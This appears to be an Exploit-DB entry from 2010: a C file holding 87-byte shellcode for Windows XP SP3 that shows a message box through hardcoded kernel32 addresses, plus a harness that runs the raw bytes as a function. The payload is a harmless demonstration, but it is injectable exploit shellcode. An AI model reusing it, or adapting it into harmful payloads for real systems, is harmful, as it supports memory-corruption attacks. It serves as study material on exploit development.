37 lines
No EOL
1.1 KiB
C
37 lines
No EOL
1.1 KiB
C
/*
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Title: Windows XP SP3 English MessageBoxA Shellcode (87 bytes)
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Date: August 20, 2010
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Author: Glafkos Charalambous (glafkos[@]astalavista[dot]com)
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Tested on: Windows XP SP3 En
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Thanks: ishtus
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Greetz: Astalavista, OffSEC, Exploit-DB
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Exploit-DB Notes:
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Tested under Windows XP SP3 Eng
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The correct memory address for GetProcAddress() appears to be different on our test machine,
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which is 0x7c80ae30.
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*/
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#include <stdio.h>
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char shellcode[] =
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"\x31\xc0\x31\xdb\x31\xc9\x31\xd2"
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"\x51\x68\x6c\x6c\x20\x20\x68\x33"
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"\x32\x2e\x64\x68\x75\x73\x65\x72"
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"\x89\xe1\xbb\x7b\x1d\x80\x7c\x51" // 0x7c801d7b ; LoadLibraryA(user32.dll)
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"\xff\xd3\xb9\x5e\x67\x30\xef\x81"
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"\xc1\x11\x11\x11\x11\x51\x68\x61"
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"\x67\x65\x42\x68\x4d\x65\x73\x73"
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"\x89\xe1\x51\x50\xbb\x40\xae\x80" // 0x7c80ae40 ; GetProcAddress(user32.dll, MessageBoxA)
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"\x7c\xff\xd3\x89\xe1\x31\xd2\x52"
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"\x51\x51\x52\xff\xd0\x31\xc0\x50"
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"\xb8\x12\xcb\x81\x7c\xff\xd0"; // 0x7c81cb12 ; ExitProcess(0)
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int main(int argc, char **argv)
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{
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int (*func)();
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func = (int (*)()) shellcode;
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printf("Shellcode Length is : %d",strlen(shellcode));
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(int)(*func)();
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} |